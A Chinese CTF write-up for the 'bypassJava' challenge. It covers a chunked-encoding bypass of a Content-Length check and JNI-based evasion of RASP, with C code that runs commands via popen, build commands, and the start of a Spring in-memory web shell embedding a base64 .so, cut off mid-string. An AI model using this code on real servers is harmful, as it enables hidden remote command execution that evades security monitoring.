bypassJava
考点:chunk绕content-length、绕RASP
其实一开始看到这一块
我的想法是直接让content-length非常长,然后变成-1,类似于溢出,可实际测试发现并不可以哈哈哈哈,然后赛后看了wp发现真不错,我们可以用chunk编码,这是我们绕waf经常用的一种方式,分块发送就行了。我们可以本地调试测试一下
由于是chunked,contentDelimitation被设置为了true
那么我们接下来的判断就通过了
那么在这里content-length自然被设置为了-1L
获取到的为-1,成功绕过了编码- -,那么接下来的就是绕过RASP了
JNI绕过RASP
这么久没见到java题,一见到就是绕RASP的,还记得Neepuctf才被RASP打爆过,借这个机会在学一下有关的知识,首先认识一下什么是JNI加载,通俗的说就是创建一个native方法,根据该方法生成c文件和h文件头以及dll文件,利用这三个文件去调用c语言库中的函数执行系统函数。这样就可以绕过RASP HOOK的Runtime、Process等等东西。
1 2 3 4 5 6
| package com.javasec;
public class Cmdclass { public native String execCmd(String cmd); }
|
准备一个如上的java文件先- -
然后javac编译为class文件javac .\Cmdclass.java
然后产生C语言的文件头
javac -cp . .\Cmdclass.java -h com.javasec.Cmdclass
回退两个目录cd ../;cd ../
运行javah -cp . com.javasec.Cmdclass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <jni.h>
#ifndef _Included_com_javasec_Cmdclass #define _Included_com_javasec_Cmdclass #ifdef __cplusplus extern "C" { #endif
JNIEXPORT jstring JNICALL Java_com_javasec_Cmdclass_execCmd (JNIEnv *, jobject, jstring);
#ifdef __cplusplus } #endif #endif
|
内容如上,现在就是写一个C语言文件了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #include "com_javasec_Cmdclass.h" #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h>
int execCmd(const char *cmd, char *result) { char buffer[1024*12]; FILE *pipe = popen(cmd, "r"); if (!pipe) return 0;
while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { strcat(result, buffer); } } pclose(pipe); return 1; } JNIEXPORT jstring JNICALL Java_com_javasec_Cmdclass_execCmd(JNIEnv *env, jobject class_object, jstring jstr) {
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; if (1 == execCmd(cstr, result)) { }
char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
return cmdresult; }
|
然后编译为dll动态链接库
gcc -I "D:\JAVA\include" -I "D:\JAVA\include\win32" -shared -o cmd.dll .\Rce.c
得到了dll文件
1 2 3 4 5 6 7 8 9 10 11
| package com.javasec;
public class JNIDemo { public static void main(String[] args) { System.load("E:\\CTFLearning\\Java\\JavaSec\\src\\ShootingRange\\java\\cmd.dll"); Cmdclass cmdclass = new Cmdclass(); String res = cmdclass.execCmd("whoami"); System.out.println(res); } }
|
然后我们调试一下看看原理,主要是看System.load做了什么
进入load0方法
获取fromClass也就是当前程序运行类。接着进行loadLibary方法
需要指定dll文件的绝对路径,然后进入loadLibarary0方法,所以大家应该会以为loadLibarary0就是最底层的方法了,实则不然,你在往下看看就会发现有个NativeLibrary
他也有一个load方法
所以我们的思路就是反射调用NativeLibrary去执行load方法加载恶意so文件。
在linux再编译一个
1 2
| javac EvilClass.java javah EvilClass
|
1
| gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
|
得到so后制作filter内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| package com.javasec.memshell; import org.springframework.web.servlet.HandlerInterceptor; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; import java.io.RandomAccessFile; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; import java.util.List; import java.util.Vector;
public class Cmdclass extends AbstractTranslet implements HandlerInterceptor { private static String soBase64="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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg+wISIsF2S8AAEiFwHQC/9BIg8QIwwAAAAAA/zXiLwAA8v8l4y8AAA8fAPMPHvpoAAAAAPLp4f///5DzDx76aAEAAADy6dH///+Q8w8e+mgCAAAA8unB////kPMPHvpoAwAAAPLpsf///5DzDx76aAQAAADy6aH///+Q8w8e+mgFAAAA8umR////kPMPHvpoBgAAAPLpgf///5DzDx76aAcAAADy6XH///+Q8w8e+vL/JT0vAAAPH0QAAPMPHvry/yVNLwAADx9EAADzDx768v8lRS8AAA8fRAAA8w8e+vL/JT0vAAAPH0QAAPMPHvry/yU1LwAADx9EAADzDx768v8lLS8AAA8fRAAA8w8e+vL/JSUvAAAPH0QAAPMPHvry/yUdLwAADx9EAADzDx768v8lFS8AAA8fRAAASI09GS8AAEiNBRIvAABIOfh0FUiLBYYuAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI096S4AAEiNNeIuAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsFVS4AAEiFwHQI/+BmDx9EAADDDx+AAAAAAPMPHvqAPaUuAAAAdStVSIM9Mi4AAABIieV0DEiLPYYuAADo2f7//+hk////xgV9LgAAAV3DDx8Aww8fgAAAAADzDx766Xf////zDx76VUiJ5UiB7AAQAABIgwwkAEiB7AAQAABIgwwkAEiB7AAQAABIgwwkAEiD7DBIib3Yz///SIm10M///2RIiwQlKAAAAEiJRfgxwEiLhdjP//9IjRWsDQAASInWSInHuAAAAADorP7//0iYSImF6M///0iDvejP//8AdUC4AAAAAOtlSIuV6M///0iNhfDP//++gAAAAEiJx+hX/v//SIXAdBlIjZXwz///SIuF0M///0iJ1kiJx+h5/v//SIuF6M///0iJx+g6/v//hcB0tEiLhejP//9Iice4AAAAAOhC/v//uAEAAABIi1X4ZEgrFCUoAAAAdAXo2f3//8nD8w8e+lVIieVIgewAEAAASIMMJABIgewAEAAASIMMJABIgewAEAAASIMMJABIgeywAAAASIm9aM///0iJtWDP//9IiZVYz///ZEiLBCUoAAAASIlF+DHASIuFaM///0iLAEyLgEgFAABIi41Yz///SIuFaM///7oAAAAASInOSInHQf/QSImFcM///0jHhfDP//8AAAAASMeF+M///wAAAABIjYUA0P//uvAvAAC+AAAAAEiJx+gt/f//SI2V8M///0iLhXDP//9IidZIicfo9Pz//0jHhYDP//8AAAAASMeFiM///wAAAABIx4WQz///AAAAAEjHhZjP//8AAAAASMeFoM///wAAAABIx4Woz///AAAAAEjHhbDP//8AAAAASMeFuM///wAAAABIx4XAz///AAAAAEjHhcjP//8AAAAASMeF0M///wAAAABIx4XYz///AAAAAMeF4M///wAAAABIjZXwz///SI2FgM///0iJ1kiJx+i9/P//SIuFaM///0iLAEiLiDgFAABIjZWAz///SIuFaM///0iJ1kiJx//RSImFeM///0iLhXjP//9Ii1X4ZEgrFCUoAAAAdAXoFPz//8nDAADzDx76SIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAARsDOzAAAAAFAAAAHPD//0wAAACs8P//dAAAALzw//+MAAAA9fH//6QAAAD18v//xAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAyO///5AAAAAADhBGDhhKDwt3CIAAPxo6KjMkIgAAAAAUAAAARAAAADDw//8QAAAAAAAAAAAAAAAUAAAAXAAAACjw//+AAAAAAAAAAAAAAAAcAAAAdAAAAEnx//8AAQAAAEUOEIYCQw0GAvcMBwgAABwAAACUAAAAKfL//8UBAAAARQ4QhgJDDQYDvAEMBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA